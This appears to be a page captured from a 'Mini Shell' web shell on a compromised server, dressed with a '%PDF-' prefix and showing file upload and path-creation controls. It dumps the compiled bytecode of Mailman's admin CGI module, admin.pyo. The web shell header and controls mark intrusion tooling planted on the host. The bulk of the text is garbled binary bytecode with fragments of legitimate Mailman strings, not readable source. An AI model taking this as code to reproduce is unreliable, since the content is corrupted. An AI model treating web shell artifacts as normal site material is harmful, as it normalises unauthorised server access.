%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/mailman/Mailman/Cgi/
Upload File :
Create Path :
Current File : //lib/mailman/Mailman/Cgi/admin.pyo

�
��ac@s7dZddlmZddlZddlZddlZddlZddlZddlZddl	Tddl
mZmZm
Z
ddlmZddlmZddlmZdd	lmZdd
lmZddlmZddlmZddlTdd
lmZddlmZddlmZddlmZej Z ej!ej"�dZ#dZ$ye%e&fWne'k
r�dZ%dZ&nXej(ej)fZ*d�Z+dd�Z,d�Z-d�Z.d�Z/dd�Z0d�Z1d�Z2d�Z3d�Z4d �Z5d!�Z6d"�Z7d#d$�Z8d%�Z9dS(&s:Process and produce the list-administration options forms.i����(t
nested_scopesN(t*(tunquotet	parseaddrt
formataddr(tmm_cfg(tUtils(tMailList(tErrors(t
MemberAdaptor(ti18n(tUserDesc(tAuth(tsyslog(tsha_new(t
csrf_checks
iiic
Cs�tj�}|st�dS|dj�}ytj|dd�}WnKtjk
r�}tj|�}dGHttd��t	dd|�dSXt
j|j�t
jdd�}d	d
ddd
dg}|j�}t|�t|�rt||jd�d�}nt}|jd
�r9dtjd<t}n|jtjtjf|jd
d��s�|jd
�r�ttdtd���j�}	nd}	tj|dd|	�dSt |�dkr�d}
d}n9t |�dkr�|d}
d}n|d}
|d}|
dkrw|j"tj�ddkrL|j#tj�GHn|j#tj�GHtj|ddd�dS|
|j$�j�kr�d}
nd}tjj%d�}
d}|
r�t
j&|
�}n|jd	�r�|jd	�}n:|r)|j%d	�}|r)t'|t(�r)|d}q)n|r@t)||�dSt*�}|j|j�|d�}|j+�z?t,j,t,j-|�|j�r�|r�t.||
|||�n|j/td��|j0�n|j1r|j2r|j/td�dtd ��n|j3�}|j1rD|rD|j/td!�dtd ��n|j4�}|j2r�|r�|j/td"�dtd ��nt5|||
||�|j�GH|j6�Wd|j7�XdS(#NitlocksStatus: 404 Not Founds&No such list <em>%(safelistname)s</em>terrors)admin.py access for non-existent list: %stkeep_blank_valuesitVARHELPtadminpwtadmlogintlettertchunkt
findmembert
csrf_tokentadminttHTTP_COOKIEs+1sAuthorization failed.tmsgtgeneralitlogouttsitet	frontpagetQUERY_STRINGcSs|j�tjd�dS(Ni(tUnlocktsystexit(tsignumtframetmlist((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pytsigterm_handler�s
s6The form lifetime has expired. (request forgery check)s You have turned off delivery of both digest and
                non-digest messages.  This is an incompatible state of
                affairs.  You must turn on either digest delivery or
                non-digest delivery or your mailing list will basically be
                unusable.ttags	Warning: s�You have digest members, but digests are turned
                off. Those people will not receive mail.
                Affected member(s) %(dm)r.s�You have regular list members but non-digestified mail is
                turned off.  They will receive non-digestified mail until you
                fix this problem. Affected member(s) %(rm)r.(8Rt
GetPathPiecestadmin_overviewtlowerRRtMMListErrortwebsafet_R
R
tset_languagetpreferred_languagetcgitFieldStoragetkeystsetRtgetvaluetTruetostenvirontWebAuthenticateRt
AuthListAdmint
AuthSiteAdminthas_keytBoldtFontSizetFormatRt	loginpagetlentNonetAuthContextInfot	ZapCookietGetConfigCategoriestgettparse_qst
isinstancetListTypetoption_helptDocumenttLocktsignaltSIGTERMtchange_optionstaddErrortCheckValuest
digestablet
nondigestabletgetDigestMemberKeystgetRegularMemberKeystshow_resultstSaveR#(tpartstlistnameR(tetsafelistnametcgidatatsafe_paramstparamstcsrf_checkedRtcategorytsubcattvarhelpt	qsenvirontparsedqstqstdocR)tdmtrm((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pytmain?s�		
		$	
	

	
	


		Rc
Cs�tj�}td�}t�}|jtj�|j|�tdddd�}|j	t
td|��g�|j|j
�ddddtj�g}tj�}|j�x�|D]�}tj|d	d�}|jr�tjr%|jjd
|�dkr%|jjd|�dkr%q�qM|j|jd
�|j|jf�q�q�W|rrt|dddd�}	nttd�dd�}	g}
ttjtd��j�}|s�|
j|	td�g�n|
j|	td�g�tjd�}tj �}
|rtd�pd}|
jtd�ttjd�td��dtd�td|
|
�d g�|j	t!|
�g�|jt"|j
�d�ddd�|r�|j	d!d!g�|j	t#ttd"�dd��t#ttd#�dd��g�d$}x�|D]x\}}}|j	t|t#|��|pLt$td%��g�|r�tj%r�|j&|j
�dtj%�n|}qWn|j'|�|j'd&�|j't(��|j�GHdS('Ns(%(hostname)s mailing lists - Admin Linkstborderitwidths100%itcolspantbgcolorRs/%s/i����s/%s:Rtcolortff5060tsizes+1sWelcome!s+2tMailmansh<p>There currently are no publicly-advertised %(mailmanlink)s
            mailing lists on %(hostname)s.s�<p>Below is the collection of publicly-advertised
            %(mailmanlink)s mailing lists on %(hostname)s.  Click on a list
            name to visit the configuration pages for that list.tcreatesright RsRTo visit the administrators configuration page for an
        unadvertised list, open a URL similar to this one, but with a '/' and
        the %(extra)slist name appended.  If you have the proper authority,
        you can also <a href="%(creatorurl)s">create a new mailing list</a>.

        <p>General list information can be found at tlistinfosthe mailing list overview paget.s#<p>(Send questions and comments to s	mailto:%ss.)<p>s&nbsp;tListtDescriptionis[no description available]s<hr>()Rt
get_domainR0RMR1RtDEFAULT_SERVER_LANGUAGEtSetTitletTabletAddRowtCentertHeadertAddCellInfotGetCurrentRowIndextWEB_HEADER_COLORt
list_namestsortRt
advertisedtVIRTUAL_HOST_OVERVIEWtweb_page_urltfindtappendtGetScriptURLt	real_nametdescriptiontFontAttrtLinktMAILMAN_URLRAtextendt	ScriptURLtget_site_emailt	ContainertmaxR?tItalictWEB_HIGHLIGHT_COLORt
AddRowInfotAddItemtMailmanLogo(RthostnametlegendRhttableR�t	listnamestnameR(tgreetingtwelcometmailmanlinkt
creatorurlt
mailman_ownertextrat	highlightturlR�R�((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyR,�s�	



		
	
%!"


cCsvt�}|j|j�d}|jd�}t|�dkr�d}}t|�dkrk|\}}n$t|�dkr�|\}}}n|j||�}|r�x1|D]&}	|	r�|	d|kr�|	}Pq�q�Wq�n|std�}
|j|
�|j	|j
��|j�GHdSt|�\}}}}
}}|j
}td�}tdd�}|jttd|��g�|j|j�dd	dd
tj�|jtd��|j	|�|j	d|||f�|r�|j	d
|�n|rd|jd�||f}nd|jd�|f}t|d|dt�}tdddddd�}t|||||dd�|j	|�|j	d�|j	tt���|j	t|��|j	td��|jd�}|rd|||f}nd||f}|j�|d}|j	t|td���|j	d�|j	|j
��|j�GHdS(Nt/iiisNo valid variable name found.sP%(realname)s Mailing list Configuration Help
    <br><em>%(varname)s</em> OptionRms100%RnRos$Mailman %(varname)s List Option Helps<b>%s</b> (%s): %s<p>s%s<p>s%s/%s/%sRs%s/%sR(tcontextstcellspacingtcellpaddingitdetailsps<p>s�<em><strong>Warning:</strong> changing this option here
    could cause other screens to be out-of-sync.  Be sure to reload any other
    pages that are displaying this option for this mailing list.  You can also
    s,return to the %(categoryname)s options page.s</em>(RMR1R2RDtsplitRCt
GetConfigInfoR0RRR�tGetMailmanFooterRAtget_item_characteristicsR�R|R}R~RR�R�RR�R{R�tFormt
AUTH_CONTEXTStadd_options_table_itemt
submit_buttonRGR�(R(RdRhtitemtreflistRbRctvarnametoptionstitbadtkindR`tdependanciesR�telaborationtrealnameR�theaderR�tformtvaltabtadminurltcategoryname((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyRLRsp	


		



	

cCs|jd�}|j�}t||d�}|j}|jtd��|jttdtd����|jd�d}	|d<kr�d	}	n|r�t	d
|||fd|	d|d
t
�}
n(t	d||fd|	d|d
t
�}
tdddd�}|jtt
td���tt
td���g�t�}|jt|jd�td���|jt|jd�td���|jt|jd�td���|jt|j�td��j�d�tjr7|j�tjkr7|jt|jd�td��j�td��n|jtd |d!td"���t�}
}d#}|j�}t|�d}d}d}x�|D]�}t||d�}d||f}||kr�|j|�}|r�tj�d$}x2|D]\}}||kr�Pq�q�W|dd}g}xW|D]O\}}||krkt
d%|�j�}n|jt|d&||��q:W|jt
|�j�t|�j��q�|jt|t
d%|���n|jt||��|d'7}||kr�t�}}t|�}q�q�Wt�}|j|
|g�|j|j�dd�|jr�td(�}|jttd)t
|���g�tj}|j |j�dd*dd+|�n|j||g�|
j|�|
jd�|
jtd,�d-�|dkr�tj�d$}|d=kr;d.}n|
jt!|||||
��|
jtt"d1���|d.kr�|
jd2�tdd�}|jttdtd3���g�|j |j�dd*dd+tj#�|jd4d4g�|jtd5�g�|j |j�dd*d�|jt$d6td7�td8�f|j%�t&d9td:��g�|
j|�q�ns|d;kr�|
jtt'|���|
jtt"���n5|
jt(|||||��|
jtt"���|j|
�|j|j)��dS(>NRis'%(realname)s Administration (%(label)s)is=%(realname)s mailing list administration<br>%(label)s Sections<hr>t	autoreplytmemberssmultipart/form-datas%s/%s/%stencodingR(R�s%s/%stvalignttopRms100%sConfiguration CategoriessOther Administrative Activitiestadmindbs"Tend to pending moderator requestsRus'Go to the general list information pagetedithtmls)Edit the public HTML pages and text filessGo to list archivess<br>&nbsp;<br>trmlistsDelete this mailing lists& (requires confirmation)<br>&nbsp;<br>s	%s/logouts <FONT SIZE="+2"><b>%s</b></FONT>tLogoutRi����s[%s]R�is3Emergency moderation of all list traffic is enableds?VARHELP=general/emergencyRnRosyMake your changes in the following section, then submit them
        using the <em>Submit Your Changes</em> button below.s<p>tlisttaddtremovetsetmemberopts_btns<hr>
sAdditional Member Taskss&nbsp;s\<li>Set everyone's moderation bit, including
            those members not currently visiblet
allmodbit_valtOfftOnt
allmodbit_btntSett	passwords(R�smembers(slistsaddsremove(*R�RGR0R�R{R�R~RRDR�R�R|R}R?t
UnorderedListR�tGetBaseArchiveURLRARt!OWNERS_CAN_DELETE_THEIR_OWN_LISTSt
internal_nametMAILMAN_SITE_LISTR5RCtGetConfigSubCategoriesRR+R�R�R�t	emergencytWEB_ERROR_COLORR�tmembership_optionsR�R�tRadioButtonArraytdefault_member_moderationtSubmitButtontpassword_inputstshow_variablesR�(R(RhRbRcR^R�t
categoriestlabelR�R�R�t	linktablet
otherlinkstcategorylinks_1t
categorylinkstcategorylinks_2tcategorykeysthalftcountertkR�tsubcatstvtsubcat_itemstsubttexttetableRpR�((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyRX�s�	
			

"#

				

	
%
	
	
cCs|j||�}tdddddd�}|j�}t||d�}|jttd|��g�|j|j�dd	dd
t	j
�|d}	t|	t�r�|j|	g�|j|j�dd	d�|d}n|s�|S|jtt
td���tt
td
���g�|jt|j�d�ddd�|jt|j�d�ddd�xq|D]i}
t|
�tkr�|jtt|
��g�|j|j�dd	d�qut|||||
�quW|jdg�|j|j�dd	d�|S(NR�iR�iRms100%iiRnRoiRxtValues15%s85%s<br>(R�R|RGR0R}R~RR�R�RR�RJt
StringTypeR?R�ttypeR�R�(R(RbRcR^RhR�R�R�R�R�R�((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyR�1s8



c
Cs�t|�\}}}}	}
}|dkr3|
}nt|||||
||�}
t||||||	�}|j|
|g�|j|j�ddtj�|j|j�ddtj�dS(NiRoi(	R�RDtget_item_gui_descriptiontget_item_gui_valueR}R�R�RtWEB_ADMINITEM_COLOR(
R(RbRcR�R�R�R�R�R`R�tdescrR�tval((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyR�as	
cCs�t|�dkr0d}|\}}}}}n<t|�dkr]|\}}}}}}nttd��||||||fS(Niis'Badly formed options entry:
 %(record)s(RCRDt
ValueErrorR0(trecordR�R�R�R`R�R�((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyR�rs
cCsbd}|j�|\}}t|d�rF|j||||�}n|dkrt|jd�rtt||�}n|tjks�|tjkr�|jd�r�d}	n|}	|dkr�tj	r�|	d}	nt
|||	|�S|tjks#|tjks#|tj
ks#|tjkr3t|||�S|tjkr||rW|\}
}nd\}
}t||prd|
|�S|tjtjfkr�|r�|\}
}nd\}
}tj|�}t|||
|dd�S|tjkr|r|\}
}nd\}
}t�}
|
jtd	��|
jt||p>d|
|��|
jtd
��|
jt|d|
|��|
S|tjkr�|r�|\}}}n9|j�}ttttj|��}|j|j �}t!||||�S|tj"kr�t#dd�}t$|d
�}d}t||�}x:|D]2\}}}}||||||�|d7}q;W|dkr�||ddddt%�n|S|tj&krBt#dd�}t$|d�}d}t||�}x4|D],\}}}|||||�|d7}q�W|dkr>||dtj'dt%�n|S|tj(kr^t)||�SdS(s.Return a representation of an item's settings.tgetValueR0itsubscribe_policyiRtwraptoffs(<em>Enter the text below, or...</em><br>s,<br><em>...specify a file to upload</em><br>t_uploadRlc
Ss�d|}d|}d|}d|}	d|}
d|}d|}|rz|jtttd���t|�g�n4|jtttd���t|td	��g�|jttd
��t|d|dd
�g�|jttd��t|d|dddd
dd�g�|jttd��t|	d|dddd
dd�g�|s�|jt|td��t	|
d"td�td�fdd�g�n|jdg�|j
|j�dd d!�dS(#Nstopic_delete_%02dstopic_box_%02dstopic_rebox_%02dstopic_desc_%02dstopic_where_%02dstopic_add_%02dstopic_new_%02dsTopic %(i)dtDeletesTopic name:tvalueRrisRegexp:R�trowsitcolsRRsDescription:tsoftsAdd new item...tbeforetafters...before this one.s...after this one.tselectedis<hr>iRni(R	safter(R}R~R?R0tHiddenR�tLabeltTextBoxtTextAreat
SelectOptionsR�R�(
R�R�tpatterntdesctemptyR�tdeltagtboxtagtreboxtagtdesctagtwheretagtaddtagtnewtag((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pytmakebox�s8






		RcSscd|}d|}d|}d|}d|}	d|}
d|}d|}|r�|jtttd	���t|
�g�n4|jtttd	���t|td
��g�|jttd��t|d|d
ddddd�g�tj	tj
tjtjtj
g}
y|
j|�}Wntk
rEd}nXt|td�td�td�td�td�fd|
d|�j�}|jttd��|g�|s3|jt|	td��t|d(td�td �fd!d"�g�|jt|td#��t|td$��g�n|jd%g�|j|j�dd&d'�dS()Nshdrfilter_delete_%02dshdrfilter_rebox_%02dshdrfilter_action_%02dshdrfilter_where_%02dshdrfilter_add_%02dshdrfilter_new_%02dshdrfilter_up_%02dshdrfilter_down_%02dsSpam Filter Rule %(i)dRsSpam Filter Regexp:R�RiRiRRitDefertHoldtRejecttDiscardtAccepttvaluestcheckedsAction:sAdd new item...R	R
s...before this one.s...after this one.RisMove rule upsMove rule downs<hr>Rni(sbeforesafter(R}R~R?R0RR�R
RRtDEFERtHOLDtREJECTtDISCARDtACCEPTtindexR�R�RARR�R�(R�RtactionRR�RRt	actiontagRRRtuptagtdowntagR!R"tradio((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyRsN









		
N(NN(NN(NN(*RDRGthasattrR�t
startswithtgetattrRtRadiotToggletALLOW_OPEN_SUBSCRIBER�tStringtEmailtHosttNumberRtTextRt	EmailListtEmailListExtNLtjoint
FileUploadR�R�R0tSelecttGetAvailableLanguagestmapRtGetLanguageDescrR(R2RtTopicsR|tFalseR8tHeaderFilterR#tCheckboxt
CheckBoxArray(R(RbR�R�R`R�RR�tguiR"trtctrest	containerR!R�RR�RR�tdataR�RRRR)((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyR��s�		
	" /
cCs�|r�|r"d|||f}nd||f}||krMtd�}ntd�}t|jd�||�j�}	td||	f�j�}
nt|�j�}
|ddkr�|
ttd	��j�7}
n|
S(
Ns/?VARHELP=%s/%s/%ss/?VARHELP=%s/%ss<br>(Edit <b>%(varname)s</b>)s$<br>(Details for <b>%(varname)s</b>)Rs%s %siR0s�<br><em><strong>Note:</strong>
        setting this value performs an immediate action but does not modify
        permanent state.</em>(R0R�R�RAR
(R(RbRcR�R�R�R�RdtlinktexttlinkR�((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyR�@s	cDCsT|jddd�}t�}tdd�}|dkr�|jttdtd���g�|j|j�d	d
ddt	j
�|j|�t||�|S|dkr|jttdtd
���g�|j|j�d	d
ddt	j
�|j|�t
||�|S|jttdtd���g�|j|j�d	d
ddt	j
�|j|�tdd�}tdtd��j�}	|jttd��tdd|jdd��tdtd��g�|j|�|jd�tdddd�}
|j}g|j�D]}|j�^q$}
|
jd��|jdd�j�}y|jtj|j��}Wntk
r�nX|rUytj|tj �}Wn+tj!k
r�|j"td�|�qUXg|
D]}|j#|�pd^q�}gt$||
�D]0\}}|j%|�sF|j%|�r|^q}
nd}d}d}t'|
�|kr�|
}n�i}x7|
D]/}|j(|d	j)�g�}|j*|�q�Wd}i}t+j,j-d�}|rt.j/|�}|j-dd�d	j)�}n|j0�}|j�|sA|j1|�rN|d	}n||}|d |}t'|�|kr�|j2|�n�t3t'|�|�\}}||d} d	}|j1d!�ryt4|d!d	�}Wnt5k
r�d	}nX|d	ks|| krd	}qn||||d|!}|j2|d"|�t'|
�}!|r�t'|�}"|
jtt6td#���g�n"|
jtt6td$���g�|
j|
j�|
j7�d
t8dt	j9�|r�g}#x�|D]�}$d}%|rd%t:j;|�}%n|d&|$|%}&|$|krTt<d'|$j=��j�}'n|$j=�}'|#j*t|&|'�j��q�Wd_}(|
jt|(j>|#��g�n|
j|
j�|
j7�d
t8dt	j9�|
jgtd*�td+�td,�td-�td.�td/�td0�td1�td2�td3�td4�fD]})t|)�^qC�|
j�}*x-t?t8�D]}|
j|*|dt	j9�quWd	}+|r�t@dg|D]}|j#|�^q��}tAg||D]}t'|�^q��}+nitd5�tBjC6td6�tBjD6td7�tBjE6td8�tBjF6},xj|D]b}t:j;|�}-t|jG|d9d�|jH|��}	tjI|j#|�|j�}.t|-d:|.d;|+�j�}/ttJ|-d<d=d	�j��|	j�d>|/tKd?|-�j�g}#|jL|t	jM�r.	d@}0d}1nd=}0d	}1tJdA|-|0|1�}2|#j*t|2�j��x�d`D]�}3d}4|3dBkr�	|jN|�}5|5tBjOkr�	d=}0d	}1q
d@}0d}1d'|,|5}4n4|jL|t	jP|3�r�	d@}0d}1nd=}0d	}1tJdD|-|3f|0|1�}2|#j*t|2j�|4��qp	W||jQ�kr�
|#j*ttJ|-dEd=d	�j���n)|#j*ttJ|-dEd@d�j���|jL|t	jPd3�r�
d@}0d}1nd=}0d	}1|#j*ttJdF|-|0|1���|jR|�}6|jS�}7g|7D]}8ttjT|8��^q#}9y|7jU|6�}:Wnt5k
rpd	}:nX|#j*ttV|-dG|7|9|:��j��|
j|#�qHWtW�};|;jtdH��|;jtdI��|;jtdJ��|;jtdK��|;jtdL��|;jtdM��|;jtdN��|;jtdO��|;jtdP��|;jtdQ��d}<d	}=t+j,j-d�}|r�t.j/|�j-dR�}|r�tX|tY�r�|d	}n|dSkr�dT}<q�n|<r+
|j|;j�dU�|jt|dVtdW���n |jt|dXtdY���|jt|
��|dk	rPg}>|dZ|<|f}&td[�}?||}@t'|@�}Ax}t?| �D]o}||kr�
q�
n|@||}B|@tZ|d||A�d}Ct|&d\|td]��}	|>j*|	�q�
WtW|>�}>|j|?|>j�dU�n|S(aNRtabsoluteiRms100%R�isMass SubscriptionsiRnRoR�s
Mass RemovalssMembership Lists@http://docs.python.org/library/re.html#regular-expression-syntaxs(help)sFind member %(link)s:RRRtfindmember_btns	Search...s<hr><p>s90%Rlt2cSst|j�|j��S(N(tcmpR-(txty((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyt<lambda>�ssBad regular expression: R"Rt0s/members?letter=%sRs	&chunk=%ss-%(allcnt)s members total, %(membercnt)s showns%(allcnt)s members totals&findmember=s/members?letter=s[%s]s&nbsp;s
tunsubsmember address<br>member nametmodthidesnomail<br>[reason]tacks	not metootnodupestdigesttplaintlanguaget?tUtAtBtobscuret	_realnameRrt_unsubRs<br>tusertons%s_modtnomailtnotmetoos%s_%st_digests%s_plaint	_languages8<b>unsub</b> -- Click on this to unsubscribe the member.s�<b>mod</b> -- The user's personal moderation flag.  If this is
        set, postings from them will be moderated, otherwise they will be
        approved.sT<b>hide</b> -- Is the member's address concealed on
        the list of subscribers?s�<b>nomail</b> -- Is delivery to the member disabled?  If so, an
        abbreviation will be given describing the reason for the disabled
        delivery:
            <ul><li><b>U</b> -- Delivery was disabled by the user via their
                    personal options page.
                <li><b>A</b> -- Delivery was disabled by the list
                    administrators.
                <li><b>B</b> -- Delivery was disabled by the system due to
                    excessive bouncing from the member's address.
                <li><b>?</b> -- The reason for disabled delivery isn't known.
                    This is the case for all memberships which were disabled
                    in older versions of Mailman.
            </ul>sJ<b>ack</b> -- Does the member get acknowledgements of their
        posts?sW<b>not metoo</b> -- Does the member want to avoid copies of their
        own postings?sW<b>nodupes</b> -- Does the member want to avoid duplicates of the
        same message?sb<b>digest</b> -- Does the member get messages in digests?
        (otherwise, individual messages)sf<b>plain</b> -- If getting digests, does the member get plain
        text digests?  (otherwise, MIME)s1<b>language</b> -- Language preferred by the userR�tyesslegend=yes&s<p>s
/members/lists-Click here to hide the legend for this table.s/members/list?legend=yess0Click here to include the legend for this table.s/members?%sletter=%s&sV<p><em>To view more members, click on the appropriate
        range listed below:</em>schunk=%dsfrom %(start)s to %(end)ss&nbsp;&nbsp;s
&nbsp;&nbsp;
(RYRhRZRiR[([R�R�R|R}R~RR0R�R�RR�R�tmass_subscribetmass_removeR�RAR
RR7R�tadmin_member_chunksizet
getMemberstencodeR�tstriptdecodeRt
GetCharSetR2tUnicodeDecodeErrortretcompilet
IGNORECASERRRt
getMemberNametziptsearchRDRCt
setdefaultR-R�R9R:RHR3RIR5R>t
set_actiontdivmodtintR�R�tGetCurrentCellIndext
OPTCOLUMNSR�turllibtquoteR?tupperR<trangetfilterR�R	tUNKNOWNtBYUSERtBYADMINtBYBOUNCEt
GetOptionsURLtgetMemberCPAddresst
uncanonstrtCheckBoxRtgetMemberOptiontModeratetgetDeliveryStatustENABLEDtOPTINFORWtgetMemberLanguageR?RAR(RR�RJRKtmin(DR(RcR^RhR�R�RKR�R�RNt	usertabletchunkszt_mtalltregexptcretstnamestntat
chunkindextbuckett	actionurlR�tbucketstaddrRgReR5R)R�RHt	numchunkstallcntt	membercnttcellsRtfindfragR�tshowtjoinerthtrowindextlongestt
ds_abbrevstqaddrtfullnameR�RR"tboxtoptR�tstatustlangpreftlangstlangt	langdescsRR�t	addlegendRftbuttonstfootertchunkmemberstlasttstarttend((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyR�\s�	%


%


%

	

	%
(-	





"

 "
			&+,
	
		!,)	#(

	


	








	
cCs�tj}tdd�}|jttd��tdtd�td�fddd!�g�|j|j�dd
|�|j|j�d	d
|�|jttd��tdtd
�td�f|j	dd"�g�|j|j�dd
|�|j|j�d	d
|�|jttd��tdtd
�td�f|j
dd#�g�|j|j�dd
|�|j|j�d	d
|�|jttd��g�|j|j�ddd�|jtt
dddddddd��g�|j|j�ddd�|jtttd���tddd�g�|jt|��|jddg�|jttd��g�|j|j�ddd�|jtt
dd dddddd��g�|j|j�ddd�dS($NRms90%s)Subscribe these users now or invite them?tsubscribe_or_invitet	SubscribetInviteiR!iRos)Send welcome messages to new subscribees?tsend_welcome_msg_to_this_batchtNotYess:Send notifications of new subscriptions to the list owner?t send_notifications_to_list_owners#Enter one address per line below...RniR�tsubscribeesRi
Rs70%Rs...or specify a file to upload:tsubscribees_uploadt50s&nbsp;s�Below, enter additional text to be added to the
    top of your invitation or the subscription notification.  Include at least
    one blank line at the end...t
invitation(ii(ii(ii(RR�R|R}R
R0R�R�R�tsend_welcome_msgtadmin_notify_mchangesR�R~RRDR=R�(R(RKtGREYR�((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyRm�sP		
	
cCs�tj}tdd�}|jttd��tdtd�td�fddd�g�|j|j�dd
|�|j|j�d	d
|�|jttd��tdtd�td�f|j	dd�g�|j|j�dd
|�|j|j�d	d
|�|jt
td
��g�|j|j�ddd�|jttdddddddd��g�|j|j�ddd�|jt
ttd���tddd�g�|jt|��dS(NRms90%s0Send unsubscription acknowledgement to the user?tsend_unsub_ack_to_this_batchR�R�iR!iRos%Send notifications to the list owner?t&send_unsub_notifications_to_list_owners#Enter one address per line below...RniR�t
unsubscribeesRi
Rs70%Rs...or specify a file to upload:tunsubscribees_uploadR�(ii(ii(RR�R|R}R
R0R�R�R�R�R�R~RRDR=R�(R(RKR�R�((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyRn�s2		
c	Csm|jddd�}tdddd�}|jttdtd	���g�|j|j�d
dddtj	�|jtd
�g�|j|j�d
dd�tdd
dddddtj
�}|jttd��tddd�g�|jttd��tddd�g�tdd
dddddtj
�}|jttd��tddd�g�|jttd��tddd�g�|j||g�|jtd�g�|j|j�d
dd�tdd
dddddtj
�}|jttd��tddd�g�|jttd��tddd�g�|j|g�|S(NRROiR�iR�iisChange list ownership passwordsiRnRos\The <em>list administrators</em> are the people who have ultimate control over
all parameters of this mailing list.  They are able to change any list
configuration variable available through these administration web pages.

<p>The <em>list moderators</em> have more limited permissions; they are not
able to change any list configuration variable, but they are allowed to tend
to pending administration requests, including approving or rejecting held
subscription requests, and disposing of held postings.  Of course, the
<em>list administrators</em> can also tend to pending requests.

<p>In order to split the list ownership duties into administrators and
moderators, you must set a separate moderator password in the fields below,
and also provide the email addresses of the list moderators in the
<a href="%(adminurl)s/general">general options section</a>.Rls!Enter new administrator password:tnewpwRrisConfirm administrator password:t	confirmpwsEnter new moderator password:tnewmodpwsConfirm moderator password:tconfirmmodpws_In addition to the above passwords you may specify a password for
pre-approving posts to the list. Either of the above two passwords can
be used in an Approved: header or first body line pseudo-header to
pre-approve a post that would otherwise be held for moderation. In
addition, the password below, if set, can be used for that purpose and
no other.sEnter new poster password:t	newpostpwsConfirm poster password:t
confirmpostpw(
R�R|R}R~RR0R�R�RR�tWEB_ADMINPW_COLORR
tPasswordBox(R(R�R�tatabletmtabletptable((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyR��s@%
	
	
tsubmitcCs`tdddddd�}|jtt|td���g�|j|j�ddd�|S(	NRliR�R�isSubmit Your Changestaligntmiddle(R|R}R?R�R0R�R�(R�R�((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyR� s%c6s�d�fd�}d}�jdd�j�}�jdd�j�}|sT|r�||krxt|�j�|_q�|jtd��n�jdd�j�}�jdd�j�}|s�|r||kr�t|�j�|_q|jtd	��n�jd
d�j�}�jdd�j�}|s@|r�||krut|�j�|_	|j
tj�GHq�|jtd��n|j
�}	|	|\}
}|d
kr�|j|||�|�nd}|�jdd�7}|�jdd�7}|r�tdg|j�D]}
|
j�^q�}|d|j�}|d|j�}|dd�}�jdd�}|j}|js�d}n|js�d}ng}g}x�|D]�}tj|�}t|�\}}tj||j�}t||tj�||j�}yT|rN|j|�r;tj�qj|j ||�n|j!||||dd�Wn�tjk
r�|j"|td�f�q�tj#k
r�|j$dkr�|j"td�td�f�q�|j"|td�f�q�tj%k
r#|j"|td�f�q�tj&k
rQ}|j"|td�f�q�Xtj't(||f��}|j"tj|��q�W|r�|r�|j)t*dtd���n|j)t*dtd���|j)t+|��|j)d�n|r�|r|j)t*dtd ���n|j)t*dtd!���g|D]\}}d"||f^q?}|j)t+|��|j)d�q�nd} �j,d#�r�| �d#j-7} n�j,d$�r��d$j-r�| �d$j-7} n| rhtdg| j�D]}
|
j�^q��}!t.�d%j-�}"t.�d&j-�}#g}$g}%xt|!D]l}&y9|j/|&dd'd(|"d)|#�|%j"tj|&��WqMtj0k
r�|$j"tj|&��qMXqMW|%r|j)t*dtd*���|j)t+|%��|j)d�n|$rh|j)t*d+t1t2td,�d-d.d/d0��j3���|j)t+|$��|j)d�qhn�j,d1�r�jd2�}'yt.|'�}'Wnt4k
r�d}'nX|'dIkr�|jtd3��qx-|j5�D]}|j6|tj7|'�q�Wn�j,d4�r��j,d5�r��d5}(t8|(�t9krg})xOt:t;|(��D]#}*|)j"t<j=|(|*j-��qUWnt<j=|(j-�g})g}+g},x�|)D]|}(t<j>|(�}-�j,d6|-�r)	y$|j/|(dd7�|,j"|(�Wq�tj0k
r"	|+j"|(td8�f�q�Xq�n|j|(�s]	|jtd9�d:td;��q�n�j,d<|-�}.y|j6|(tj?|.�Wn)tj@tjAtjBtjCfk
r�	nX�j|-d=d�}/tj|/|j�}/|jD|(|/��j|-d>�}0|jE|(�}1tjF|0�rA
|0|1krA
|jG|(|0�n�j|-d?�}2|j6|(tj7|2��j,d@|-�r�
|jH|(�tIjJkr�
|jK|(tIjL�q�
n|jK|(tIjJ�x]dJD]U}3tjM|3}4�j,dF|-|3f�r|j6|(|4d�q�
|j6|(|4d�q�
